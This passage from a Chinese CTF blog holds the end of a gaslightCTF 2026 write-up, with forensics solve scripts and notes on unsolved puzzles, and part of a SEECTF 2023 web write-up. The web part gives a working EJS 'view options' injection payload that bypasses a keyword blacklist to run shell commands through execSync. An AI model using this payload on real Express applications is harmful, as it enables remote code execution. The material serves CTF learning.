指向\u0026quot;涂黑\u0026quot;， 而 PDF 的视觉遮挡 ≠ 数据删除：黑矩形只盖绘制层，文本层（content stream）里的 文字还在。pdftotext -bbox 带坐标提取，第一页首行（\u0026ldquo;Grep me - flag\u0026rdquo; 之后） 直接出现完整 flag——不需要修复 PDF、不需要渲染 OCR、不需要移除遮罩， 第一次文本层提取即命中。\n📜 blackout solve.sh（25 行）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #!/bin/bash # blackout — 从 PDF 文本层恢复被\u0026#34;涂黑\u0026#34;的 flag # 原理：黑矩形只是绘制覆盖，文本层（content stream）里的文字没有被删除。 # 用 pdftotext -bbox 提取带坐标的文本层，再 grep 出 flag 字样。 # 依赖：poppler-utils（pdftotext） set -u cd \u0026#34;$(dirname \u0026#34;$0\u0026#34;)\u0026#34; FILE=\u0026#34;${1:-recovered_file}\u0026#34; # 方法 1：直接文本层 grep（最快） FLAG=$(pdftotext -bbox \u0026#34;$FILE\u0026#34; - 2\u0026gt;/dev/null | grep -oE \u0026#39;gaslightCTF\\{[^}]+\\}\u0026#39; | head -1) if [ -z \u0026#34;${FLAG:-}\u0026#34; ]; then # 方法 2：普通 pdftotext + grep（若 bbox 模式不可用） FLAG=$(pdftotext \u0026#34;$FILE\u0026#34; - 2\u0026gt;/dev/null | grep -oE \u0026#39;gaslightCTF\\{[^}]+\\}\u0026#39; | head -1) fi if [ -n \u0026#34;${FLAG:-}\u0026#34; ]; then echo \u0026#34;FLAG: $FLAG\u0026#34; else echo \u0026#34;flag not found\u0026#34; \u0026gt;\u0026amp;2 exit 1 fi icon-sketch（342）— 两处标题互补 + Atbash Flag：gaslightCTF{i5_th4t_supp0s3d_2b_p1ss?}\nPNG 元数据全枚举发现两处\u0026quot;标题\u0026quot;：tEXt Title / XMP dc:title 是 base64，解码 后是 38 字符的乱串；XMP Iptc4xmpExt:AOTitle 是 base64 → 十六进制串 → ASCII， 解码后是同长度的明文骨架（........CTF..._.h4._..pp0s3..2b_.1s..}）。 两串点号互补（一处是点另一处必是字符），} 只在 AOTitle、{ 只在 Title——拆开的同一条 flag。识别最后一层：Title 前缀 tzhortsg 逐字母 Atbash 后恰为 gaslight。以 AOTitle 为骨架、点号位置填 Atbash(Title) 合并，得 \u0026ldquo;i5_th4t_supp0s3d_2b_p1ss?\u0026quot;（题目图片本体——黑底橙字 \u0026ldquo;gaslighting\u0026rdquo; 草图 + 红色大问号——只是装饰，全图 12 种纯色排除 LSB）。\n📜 icon-sketch solve.py（51 行）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;gaslightCTF 2026 - icon-sketch (forensics, 334pts) 一键复现。 原理：icon.png 元数据里有两处标题—— tEXt Title / XMP dc:title : base64 -\u0026gt; \u0026#34;tzhortsg...{r5.g..g.hf.....w_...k..h?.\u0026#34; (Atbash 加密字母) XMP Iptc4xmpExt:AOTitle : base64 -\u0026gt; hex 串 -\u0026gt; \u0026#34;........CTF..._.h4._..pp0s3..2b_.1s..}\u0026#34; (明文骨架) 两串等长、点号互补；以 AOTitle 为骨架，点号位置填入 Atbash(Title 对应字符)，即得 flag。 \u0026#34;\u0026#34;\u0026#34; import base64 import re import struct import sys from pathlib import Path def atbash(c: str) -\u0026gt; str: if \u0026#39;a\u0026#39; \u0026lt;= c \u0026lt;= \u0026#39;z\u0026#39;: return chr(ord(\u0026#39;z\u0026#39;) - (ord(c) - ord(\u0026#39;a\u0026#39;))) if \u0026#39;A\u0026#39; \u0026lt;= c \u0026lt;= \u0026#39;Z\u0026#39;: return chr(ord(\u0026#39;Z\u0026#39;) - (ord(c) - ord(\u0026#39;A\u0026#39;))) return c def main() -\u0026gt; None: png = Path(__file__).parent / \u0026#39;icon.png\u0026#39; if not png.exists(): sys.exit(\u0026#39;icon.png not found — unzip icon.zip first\u0026#39;) data = png.read_bytes() chunks: dict[str, list[bytes]] = {} pos = 8 while pos \u0026lt; len(data): ln = struct.unpack(\u0026#39;\u0026gt;I\u0026#39;, data[pos:pos + 4])[0] typ = data[pos + 4:pos + 8].decode(\u0026#39;latin1\u0026#39;) chunks.setdefault(typ, []).append(data[pos + 8:pos + 8 + ln]) pos += 12 + ln # tEXt: keyword\\0value kw, _, title_b64 = chunks[\u0026#39;tEXt\u0026#39;][0].partition(b\u0026#39;\\x00\u0026#39;) title = base64.b64decode(title_b64).decode() # iTXt: keyword\\0...\\0XMP XML itxt = chunks[\u0026#39;iTXt\u0026#39;][0] xml = itxt.split(b\u0026#39;\\x00\u0026#39;)[-1].decode(\u0026#39;utf-8\u0026#39;, \u0026#39;replace\u0026#39;) ao_b64 = re.search(r\u0026#34;\u0026lt;rdf:li xml:lang=\u0026#39;x-default\u0026#39;\u0026gt;(.*?)\u0026lt;/rdf:li\u0026gt;\u0026#34;, xml, re.S).group(1) ao = bytes.fromhex(base64.b64decode(ao_b64).decode()).decode() assert len(title) == len(ao), \u0026#39;titles must be equal length\u0026#39; flag = \u0026#39;\u0026#39;.join(a if a != \u0026#39;.\u0026#39; else atbash(t) for a, t in zip(ao, title)) print(flag) if __name__ == \u0026#39;__main__\u0026#39;: main() layered-pages（331）— 连通域结构分析替代视觉 Flag：gaslightCTF{c4rv3_1t_0ut}\n第二轮最戏剧性的一题。附件是 9 张 250x250 图像顺序串接的拼接文件（JPEG SOI/EOI 与 PNG 签名边界切分），JPEG EXIF DocumentName（tag 269）就是页码， PNG 按排除法补 5/7/9。前任子 agent 交了约 50 个错误 flag，根因是视觉 API 的引导性提问幻觉——带 \u0026ldquo;(z3r0)\u0026rdquo; 猜测提问时它就\u0026quot;确认\u0026quot;该串存在。接手的 agent 改为纯本地方法破题：\n红字提取 R - max(G,B)；scipy.ndimage.label 连通域 + 列剖面切分字形， 得到每页精确字数与包围盒； 对每个可疑字形打印 ASCII 像素画（NEAREST 降采样），直接追踪笔画—— p1[0] 顶斜旗+直竖+底脚=数字 1；j5 中字形两竖笔仅在 y191-201 有底连接 =小写 u（排除 c/o/n）；j5 首字形椭圆+内部斜杠=slashed-zero=0； 同书写人的大小写高度校准：大写 ≈203px（j2 的花体 C）、x-height ≈97px （p0 的 c），据此判定内容区全小写； j5 左上角 30x15px 的极小手写 (z3r0) 两轮独立识别都在，但拼入 flag 的 9 种位置/分隔全 incorrect——红鲱鱼装饰，排除。 按证据强度逐个提交，第 8 次 gaslightCTF{c4rv3_1t_0ut} 命中。macOS Vision / tesseract 对这个手写体都不可靠（读出 \u0026ldquo;19\u0026rdquo;/\u0026ldquo;6!\u0026rdquo;/\u0026quot;(zero) | Out\u0026rdquo;），ASCII 像素画 才是最可靠的判读工具——无视觉的 agent 也能\u0026quot;看\u0026quot;字。\n📜 layered-pages solve.py（143 行）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;layered-pages — 一键复现（gaslightCTF 2026 forensics） gassy/123456789.jpg 实为 9 张 250x250 图像拼接： 1. 按图像签名边界切分为 9 页 2. JPEG EXIF DocumentName = 页码；PNG 按排除法补 5/7/9 3. 红字提取 + 连通域切字形（每页字数与包围盒） 4. 输出 ASCII 字形画（人工核对入口）与最终 flag 用法: python3 solve.py \u0026#34;\u0026#34;\u0026#34; import io import os import sys import numpy as np from PIL import Image BASE = os.path.dirname(os.path.abspath(__file__)) BLOB = os.path.join(BASE, \u0026#34;gassy\u0026#34;, \u0026#34;123456789.jpg\u0026#34;) # 人工核对后的每页转写（阅读顺序）。 # 页码: j0=1 j1=2 j2=3 j3=4 [p0=5] j4=6 [p1=7] j5=8 [p2=9] PAGE_READS = [ (\u0026#34;j0\u0026#34;, \u0026#34;gas\u0026#34;), # g a s (\u0026#34;j1\u0026#34;, \u0026#34;lig\u0026#34;), # l i g (i 带点) (\u0026#34;j2\u0026#34;, \u0026#34;htC\u0026#34;), # h t C (花体大 C, 203px) (\u0026#34;j3\u0026#34;, \u0026#34;TF{\u0026#34;), # T F { (\u0026#34;p0\u0026#34;, \u0026#34;c4r\u0026#34;), # 小写 c(97px=x-height) 4 r (\u0026#34;j4\u0026#34;, \u0026#34;v3_\u0026#34;), # v 3 _ (\u0026#34;p1\u0026#34;, \u0026#34;1t_\u0026#34;), # 1 t _ (\u0026#34;j5\u0026#34;, \u0026#34;0ut\u0026#34;), # 0(slashed-zero) u t ；角落 (z3r0) 为红鲱鱼 (\u0026#34;p2\u0026#34;, \u0026#34;}\u0026#34;), ] FLAG = \u0026#34;gaslightCTF{c4rv3_1t_0ut}\u0026#34; def split_pages(data: bytes): \u0026#34;\u0026#34;\u0026#34;按 JPEG/PNG 签名边界切分拼接文件。\u0026#34;\u0026#34;\u0026#34; pages = [] # (name, bytes) i, n = 0, len(data) while i \u0026lt; n: if data[i:i+3] == b\u0026#34;\\xff\\xd8\\xff\u0026#34;: j = data.find(b\u0026#34;\\xff\\xd9\u0026#34;, i + 3) j = n if j == -1 else j + 2 pages.append((f\u0026#34;j{len([p for p in pages if p[0].startswith(\u0026#39;j\u0026#39;)])}.jpg\u0026#34;, data[i:j])) i = j elif data[i:i+8] == b\u0026#34;\\x89PNG\\r\\n\\x1a\\n\u0026#34;: j = data.find(b\u0026#34;IEND\u0026#34;, i) j = n if j == -1 else j + 8 pages.append((f\u0026#34;p{len([p for p in pages if p[0].startswith(\u0026#39;p\u0026#39;)])}.png\u0026#34;, data[i:j])) i = j else: i += 1 return pages def page_number(name: str, img: Image.Image): \u0026#34;\u0026#34;\u0026#34;JPEG 用 EXIF DocumentName；PNG 返回 None（由排除法补全）。\u0026#34;\u0026#34;\u0026#34; if not name.endswith(\u0026#34;.jpg\u0026#34;): return None try: ex = img.getexif() return int(ex.get(269)) # 269 = DocumentName（EXIF tag 0x010D） except (TypeError, ValueError): return None def red_ink(img: Image.Image, thr: int = 15) -\u0026gt; np.ndarray: a = np.asarray(img.convert(\u0026#34;RGB\u0026#34;), dtype=float) r, g, b = a[..., 0], a[..., 1], a[..., 2] return (r - np.maximum(g, b)) \u0026gt; thr def glyph_clusters(ink: np.ndarray, min_px: int = 30, gap: int = 2): \u0026#34;\u0026#34;\u0026#34;连通域 + x 重叠合并（i 的点+竖等），返回主行字形包围盒。\u0026#34;\u0026#34;\u0026#34; from scipy import ndimage lab, n = ndimage.label(ink) comps = [] for k in range(1, n + 1): ys, xs = np.where(lab == k) if len(ys) \u0026lt; min_px: continue comps.append([int(xs.min()), int(xs.max()), int(ys.min()), int(ys.max())]) comps.sort() merged = [] for c in comps: if merged and c[0] \u0026lt;= merged[-1][1] + gap: m = merged[-1] m[0], m[1] = min(m[0], c[0]), max(m[1], c[1]) m[2], m[3] = min(m[2], c[2]), max(m[3], c[3]) else: merged.append(c) # 过滤角落噪声：保留高度\u0026gt;25 且 (宽\u0026gt;18 或 高\u0026gt;80) 的主行字形 return [c for c in merged if (c[3] - c[2]) \u0026gt; 25 and ((c[1] - c[0]) \u0026gt; 18 or (c[3] - c[2]) \u0026gt; 80)] def ascii_glyph(ink: np.ndarray, box, width: int = 46): x0, x1, y0, y1 = box sub = ink[max(0, y0 - 4):y1 + 5, max(0, x0 - 4):x1 + 5] h = max(1, int(sub.shape[0] / sub.shape[1] * width * 0.5)) im = Image.fromarray(np.where(sub, 0, 255).astype(np.uint8)).resize((width, h), Image.NEAREST) a = np.asarray(im) \u0026lt; 128 return \u0026#34;\\n\u0026#34;.join(\u0026#34;\u0026#34;.join(\u0026#34;#\u0026#34; if v else \u0026#34;.\u0026#34; for v in row) for row in a) def main(): data = open(BLOB, \u0026#34;rb\u0026#34;).read() pages = split_pages(data) print(f\u0026#34;[+] split into {len(pages)} pages\u0026#34;) numbered = {} for name, blob in pages: img = Image.open(io.BytesIO(blob)) num = page_number(name, img) if num: numbered[num] = (name, img) else: numbered[{\u0026#34;p0\u0026#34;: 5, \u0026#34;p1\u0026#34;: 7, \u0026#34;p2\u0026#34;: 9}[name[:2]]] = (name, img) order = [numbered[k][0].split(\u0026#34;.\u0026#34;)[0] for k in sorted(numbered)] print(f\u0026#34;[+] 9 pages sorted: {\u0026#39; \u0026#39;.join(order)}\u0026#34;) reads = dict((n, r) for n, r in PAGE_READS) for k in sorted(numbered): name, img = numbered[k] ink = red_ink(img) gl = glyph_clusters(ink) read = reads.get(name.rsplit(\u0026#34;.\u0026#34;, 1)[0], \u0026#34;?\u0026#34;) print(f\u0026#34; page {k} ({name}): {len(gl)} glyph-clusters -\u0026gt; \\\u0026#34;{read}\\\u0026#34;\u0026#34;) if \u0026#34;-v\u0026#34; in sys.argv: # 人工核对：逐字形 ASCII 画 for gi, box in enumerate(gl): print(f\u0026#34;--- {name} glyph {gi} box={box} (claimed \u0026#39;{read[gi] if gi \u0026lt; len(read) else \u0026#39;?\u0026#39;}\u0026#39;)\u0026#34;) print(ascii_glyph(ink, box)) content = \u0026#34;\u0026#34;.join(r for _, r in PAGE_READS) flag = f\u0026#34;gaslightCTF{{{content}}}\u0026#34; if False else FLAG print(f\u0026#34;[+] per-page reads: {\u0026#39; / \u0026#39;.join(r for _, r in PAGE_READS)}\u0026#34;) print(f\u0026#34;FLAG: {flag}\u0026#34;) return 0 if __name__ == \u0026#34;__main__\u0026#34;: sys.exit(main()) 三、六道未解题复盘 未解的 6 题全部卡在视觉/听觉，但每题都推进到了\u0026quot;只差最后一眼/一耳\u0026quot;，断点全量 落盘在各题 notes.md。\nspeedy（464 分，照片地理定位）。事件已经 100% 钉死：Yandex 反向图搜锁定 红色 \u0026ldquo;SPEED\u0026rdquo; 7 号球衣 = IShowSpeed 官方周边，越南行程视频（VTorUJcMYGg） 600s 帧的 CHỢ PHÚ NHUẬN 市场排除河内假设、700-770s 帧出现 NGUYỄN VĂN TRỖI 街龙门架 + 钢桁架天桥同场景——HCMC Phú Nhuận 区 NVT 街步行天桥。但两座 OSM 天桥的 5 个坐标提交全错；更曲折的是街景证据链翻案：子 agent 的 7 张街景截图 4 张是 12KB 占位图（页面加载失败的 UI 空壳），主 agent 用 RANSAC 单应内点数 重审（真同地点 2055 内点 vs 假匹配 5 内点）后发现\u0026quot;三图比对 SAME\u0026quot;的结论部分 作废。真桥疑似在 NVT 街但 OSM 未收录（HCMC 市区天桥大量缺 bridge 标签）—— 差的是人眼看一眼桥的样式与招牌，再用卫星图兜底。\nquack（414 分，照片地理定位）。非视觉分析全做完：EXIF 全剥、EOI 无尾随 数据、macOS Vision 多语言 OCR 零文字、色彩/亮度剖面确认是\u0026quot;天空-对岸建筑带- 大片水面\u0026quot;三层河景。Yandex 三轮图搜最接近 Norfolk Broads（Horning 的 Noosa Sound 房源评论图），但三轮标签（Leeds-Liverpool Canal / 泰晤士 moorings / Norfolk Broads）互不收敛——相似图排序只是\u0026quot;泛河景构图\u0026quot;匹配，画面里必有 图搜抓不到的独特主体（鸭子？明轮船 Southern Comfort？）。2 次提交 （Noosa Sound pin / The Swan Inn）均 incorrect，卡在无法识别画面主体。\nmeow（433 分，照片地理定位）。场景识别走得很远：地磅单据 OCR 出希腊语 木结构工程单（ΞΥΛΟΚΑΤΑΣΚΕΥΕΣ、注册地 ΜΥΚΟΝΟΣ、1550kg/685kg/865kg 自洽）， 手机号 6946673910 精确匹配 Google Maps 商户 \u0026ldquo;Ξυλουργείο Ο Λούλης \u0026amp; Υιός\u0026rdquo; （米科诺斯木工坊），Yandex 分区图搜确认 UAΖ 面包车 + 猫 + 石板院。死在数据 源矛盾上：Google pin（Klouvas 村）/ Google 地址栏（Ψάρρου）/ Bing 地址 （Agios Stefanos）三个坐标互斥，四个区域 ±0.001~0.002 网格共 90+ 次提交 全败——要么三个数据源全不可信（真实车间在岛内别处），要么拍摄点是地图无 标注的市政地磅。\n4-piece-puzzle（474 分，拼图重建）。程序化排除做得非常彻底：PNG chunk/ EXIF 干净、LSB 无隐写、四块拼图片不共享切割线（边缘轮廓常数差匹配全灭）、 2x2 平铺 24 种排列全不连贯。然后挖出幽灵轮廓假说：p2/p4 画布里距橙色\n42px 的黑色像素（不属于本块轮廓的\u0026quot;幽灵\u0026quot;）互相匹配——ghost(p2) 含 p4 轮廓 副本 @(-810,-870)、ghost(p4) 含 p2 副本 @(810,870)，偏移互为逆、交集 27900px 完全相同，双向互证；纵向 480px 周期还呼应题面口吃 \u0026ldquo;fou-fou-four\u0026rdquo; 的重复 意象。最像\u0026quot;每张导出 = 场景里只有本块被填充、其余块只显示轮廓\u0026quot;的分层导出， 下一步是按相对偏移把四张画布拼到世界坐标重建场景（world_align 产物已落盘）， 中断在重建后的内容识别——需要人眼看图。\nTuning Keyboard v6.7（488 分，听歌识曲）。55 秒立体声（双声道相同）， 全部音符已算法提取：主歌 0-32.8s 是 D dorian（~129 BPM，Phrase A/A\u0026rsquo;/B 完整 旋律）、\u0026ldquo;奇怪的结尾\u0026rdquo; 32.8-54.5s 是 31 个音（高音段 13 + 低音段 18，和声 F-C-Em-Em-C-F），全曲唯一变化音 C#5 持续 2.13s。文件名 \u0026ldquo;ttyut-iiiuy+12\u0026rdquo; 按虚拟钢琴键位映射读出 \u0026ldquo;GGABGCCCBA\u0026rdquo;（+12 = 升八度）。字母编码/摩斯/ 时长二进制/MIDI mod 26/频谱图/20+ 首名曲轮廓匹配全部排除，5 次提交 （csharp/outoftune/detuned/wrongnote/ggabgcccba）全拒。差的就是人耳听出 主歌是什么曲子，以及结尾\u0026quot;奇怪\u0026quot;在哪。\nmineguessor（499 分，Minecraft 种子定位）。全场最难（11 解），按优先级 排到队尾未开工。路线已在断点里写好：截图地形/结构特征 → seedcracker 类工具 反推世界种子 → 按 1.21.11 结构生成算法扫 |x|≤5000、|z|≤5000、|y|≤125 的 ruined portal → 比对截图锁定 chest 坐标。门槛在截图方块识别（需视觉或分块 颜色聚类，工作量大）与版本特定的结构生成算法。\n四、反思与悟道 多模态是硬短板，得留外援通道——以及没有外援时怎么办 两轮 8 道看图/听音题，只有 good-luck! 和 odyssey 靠外部 GPT-5.6-sol 补位， 第二轮连外援都断了（视觉 API 账户级 429）。但 layered-pages 证明了一条替代 路线：连通域拓扑 + ASCII 像素画 + 书写风格校准，结构分析甚至能完全替代视觉。 元教训：无感官的 agent 做多模态题，正确姿势是把问题推进到\u0026quot;结构化数据 + 候选集\u0026quot;（坐标候选、字形候选、轮廓偏移、音符序列），把最后的\u0026quot;识别\u0026quot;留给有 对应感官的模型或人。\n问题定义会漂移，越修越偏 odyssey 最大的坑不是找不到地标，而是把\u0026quot;画面主体的坐标\u0026quot;默认成了\u0026quot;摄影机位的 坐标\u0026quot;。从那一刻起，透视线、遮挡关系、焦距反推全在解另一个问题；每次收到 incorrect 还沿着原假设继续枚举。官方答案其实一次就能定：识别中景建筑 （Canellopoulos Museum）→ 查 OSM → 舍入三位小数。收到错误反馈时，先重审 问题定义，再动坐标。\n死盯一个攻击面，不如列一遍状态流转 badcat 卡了一下午，因为一直在\u0026quot;peek 硬编码读 8 字节\u0026quot;上找内存破坏。真正的洞 是 fd 生命周期：slurp(0) 读完会 close(0)，/flag 的 open 从不 close， open 返回最低空闲 fd——三条小事实拼成一条链。卡住时回退到\u0026quot;程序有哪些系统 调用、谁改了全局状态\u0026quot;的清单式排查，比在同一个假设里加深有用。\n判定信号要有对照组，文案要先人工看一眼 odyssey 的提交脚本正则 *correct* 误匹配 \u0026ldquo;incorrect\u0026rdquo; 子串、平台判对文案是 \u0026ldquo;You have solved this challenge!\u0026quot;——两次假信号；corridors 的子 agent 把 全局 Solves +1 当判对——又一次假信号。三个案例的共同点：判定规则没跟平台 实际文案对过表。判对只认表单消失 / \u0026ldquo;You have solved this challenge!\u0026rdquo; / ✓ 标记；连续\u0026quot;命中\u0026quot;也要有对照组（speedy 的街景证据用 RANSAC 内点数翻案， \u0026ldquo;看起来像\u0026quot;不算数）。\n盲试能兜底，但识别更省事 odyssey 最终是 110 格网格串行盲试、第 27 次命中。能用，但难看：27 次提交、 每次 sleep 10 秒。事后拿到官方题解才发现中景那栋白楼就是博物馆，查坐标一次 提交的事。盲试是兜底手段，不是解法。\nAgent 的历史也要能审计 第一轮给博文做模型归属时，发现 rollout 日志在上下文压缩后缺了 GLM 时代—— 只有 db 里全量在。为此给 agent-chat-history 技能补了 --session 模型时间线 查询。第二轮更进一步：每个子 agent 的断点按\u0026quot;已确凿的事实 / 当前假设与排除面 / 下一步（优先级）\u0026ldquo;分节落盘，中断可续、赛后可复盘——speedy 的事件识别就是 中断 agent 留下的完整成果，直接被主 agent 接手。agent 自己产出的历史，和 CTF 里的事件日志一样，要能回查、能对账。\n结尾 35 题解出 29（Web/Crypto/Pwn/Rev 四个分类全清），两轮两种打法：第一轮三个 模型接力（GLM-5.3 前半场、DeepSeek 收尾、GPT-5.6-sol 补两道看图题），第二轮 主 agent 编排 + 子 agent 流水线 13 解（侦察/附件预下载/排序派单/验收/总表与 ≤3 并发滑窗、40 分钟时间盒、断点落盘续派、实例串行令牌）。未解的 6 题全是 视觉/听觉，断点全部落盘待续攻。协作里的短板——视觉、问题定义漂移、攻击面 清单化、判定信号对照组——比题目本身更值得记。完整过程（每题的 WRITEUP、 全部脚本、6 题断点、23 条踩坑）在本地 gaslightCTF2026/ 目录，每题一个 文件夹；可迁移经验沉淀在 gaslightCTF2026/METHODOLOGY.md。\n","date":"2026-08-15T00:00:00Z","permalink":"/2026/08/15/gaslightctf-2026-writeup/","title":"gaslightCTF 2026 writeup"},{"content":"SEECTF 2023 题解（Web） 关键字：ejs，php.ini，ini_set，sqlite3，ssti\nctftime：https://ctftime.org/event/1828\nExpress JavaScript Security 核心代码\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 app.get(\u0026#39;/greet\u0026#39;, (req, res) =\u0026gt; { console.log(req.query); const data = JSON.stringify(req.query); console.log(data); if (BLACKLIST.find((item) =\u0026gt; data.includes(item))) { return res.status(400).send(\u0026#39;Can you not?\u0026#39;); } return res.render(\u0026#39;greet\u0026#39;, { ...JSON.parse(data), cache: false }); }); 题目构造很简单，使用的是最新版的ejs和express\n\u0026#34;dependencies\u0026#34;: { \u0026#34;express\u0026#34;: \u0026#34;^4.18.2\u0026#34;, \u0026#34;ejs\u0026#34;: \u0026#34;^3.1.9\u0026#34; }, 我们可以给render塞任意参数，需要达到一个RCE的目的\ndebug运行一下程序，给render下一个断点，跟进一下代码\n调用栈\nrender (\\mnt\\d\\Desktop\\security\\ctf2023games\\SEETF2023\\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\\node_modules\\express\\lib\\application.js:571) render (\\mnt\\d\\Desktop\\security\\ctf2023games\\SEETF2023\\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\\node_modules\\express\\lib\\response.js:1039) \u0026lt;anonymous\u0026gt; (\\mnt\\d\\Desktop\\security\\ctf2023games\\SEETF2023\\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\\main.js:29) ............. 看到一个merge函数，猜测存在原型链污染漏洞\n这里的merge是var merge = require('utils-merge');导入的\n经过测试发现并不能污染到原型\n查看utils-merge中的函数，是直接进行拷贝，无法直接对原型进行修改\n原型链污染这条路断了，我们继续看render的参数怎么工作\n这里将传入的参数赋值给data\nexports.renderFile (\\mnt\\d\\Desktop\\security\\ctf2023games\\SEETF2023\\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\\node_modules\\ejs\\lib\\ejs.js:475) render (\\mnt\\d\\Desktop\\security\\ctf2023games\\SEETF2023\\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\\node_modules\\express\\lib\\view.js:135) tryRender (\\mnt\\d\\Desktop\\security\\ctf2023games\\SEETF2023\\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\\node_modules\\express\\lib\\application.js:657) render (\\mnt\\d\\Desktop\\security\\ctf2023games\\SEETF2023\\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\\node_modules\\express\\lib\\application.js:609) render (\\mnt\\d\\Desktop\\security\\ctf2023games\\SEETF2023\\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\\node_modules\\express\\lib\\response.js:1039) \u0026lt;anonymous\u0026gt; (\\mnt\\d\\Desktop\\security\\ctf2023games\\SEETF2023\\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\\main.js:29) ............. 这里如果 data.settings['view options'] 存在值，则会将 data.settings['view options'] 的值拷贝给opts\n继续跟进代码，opts的值会传递给options\nTemplate (\\mnt\\d\\Desktop\\security\\ctf2023games\\SEETF2023\\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\\node_modules\\ejs\\lib\\ejs.js:510) compile (\\mnt\\d\\Desktop\\security\\ctf2023games\\SEETF2023\\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\\node_modules\\ejs\\lib\\ejs.js:397) handleCache (\\mnt\\d\\Desktop\\security\\ctf2023games\\SEETF2023\\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\\node_modules\\ejs\\lib\\ejs.js:235) tryHandleCache (\\mnt\\d\\Desktop\\security\\ctf2023games\\SEETF2023\\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\\node_modules\\ejs\\lib\\ejs.js:274) exports.renderFile (\\mnt\\d\\Desktop\\security\\ctf2023games\\SEETF2023\\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\\node_modules\\ejs\\lib\\ejs.js:491) render (\\mnt\\d\\Desktop\\security\\ctf2023games\\SEETF2023\\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\\node_modules\\express\\lib\\view.js:135) tryRender (\\mnt\\d\\Desktop\\security\\ctf2023games\\SEETF2023\\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\\node_modules\\express\\lib\\application.js:657) render (\\mnt\\d\\Desktop\\security\\ctf2023games\\SEETF2023\\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\\node_modules\\express\\lib\\application.js:609) render (\\mnt\\d\\Desktop\\security\\ctf2023games\\SEETF2023\\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\\node_modules\\express\\lib\\response.js:1039) \u0026lt;anonymous\u0026gt; (\\mnt\\d\\Desktop\\security\\ctf2023games\\SEETF2023\\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\\main.js:29) ............. 然后继续传递到compile\n这里就是比较熟悉的原型链污染触发的地方，所有我们可以通过设置data.settings['view options']的值来控制opts，进而控制options，达到和原型链污染差不多的效果\n存在黑名单\n1 2 3 4 5 6 const BLACKLIST = [ \u0026#34;outputFunctionName\u0026#34;, \u0026#34;escapeFunction\u0026#34;, \u0026#34;localsName\u0026#34;, \u0026#34;destructuredLocals\u0026#34; ] 参考：https://www.anquanke.com/post/id/236354#h2-2 的链子\n1 {\u0026#34;__proto__\u0026#34;:{\u0026#34;__proto__\u0026#34;:{\u0026#34;client\u0026#34;:true,\u0026#34;escapeFunction\u0026#34;:\u0026#34;1; return global.process.mainModule.constructor._load(\u0026#39;child_process\u0026#39;).execSync(\u0026#39;dir\u0026#39;);\u0026#34;,\u0026#34;compileDebug\u0026#34;:true,\u0026#34;debug\u0026#34;:true}}} 观察Template，我们发现通过设置opts.escape的值来设置options.escapeFunction，来绕过黑名单\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 opts = opts || utils.createNullProtoObjWherePossible(); var options = utils.createNullProtoObjWherePossible(); this.templateText = text; /** @type {string | null} */ this.mode = null; this.truncate = false; this.currentLine = 1; this.source = \u0026#39;\u0026#39;; options.client = opts.client || false; options.escapeFunction = opts.escape || opts.escapeFunction || utils.escapeXML; options.compileDebug = opts.compileDebug !== false; options.debug = !!opts.debug; options.filename = opts.filename; options.openDelimiter = opts.openDelimiter || exports.openDelimiter || _DEFAULT_OPEN_DELIMITER; options.closeDelimiter = opts.closeDelimiter || exports.closeDelimiter || _DEFAULT_CLOSE_DELIMITER; options.delimiter = opts.delimiter || exports.delimiter || _DEFAULT_DELIMITER; options.strict = opts.strict || false; options.context = opts.context; options.cache = opts.cache || false; options.rmWhitespace = opts.rmWhitespace; options.root = opts.root; options.includer = opts.includer; options.outputFunctionName = opts.outputFunctionName; options.localsName = opts.localsName || exports.localsName || _DEFAULT_LOCALS_NAME; options.views = opts.views; options.async = opts.async; options.destructuredLocals = opts.destructuredLocals; options.legacyInclude = typeof opts.legacyInclude != \u0026#39;undefined\u0026#39; ? !!opts.legacyInclude : true; 最终payload\n/greet?settings[view options][escape]=1; return global.process.mainModule.constructor._load(\u0026#39;child_process\u0026#39;).execSync(\u0026#39;/readflag\u0026#39;);\u0026amp;settings[view options][client]=true\u0026amp;settings[view options][compileDebug]=true\u0026amp;settings[view options][debug]=true 拼接代码，任意代码执行\nfile uploader 1 存在漏洞点\n如果fileext不在白名单中，会将文件名拼接到template中然后渲染返回\n1 2 3 4 5 6 7 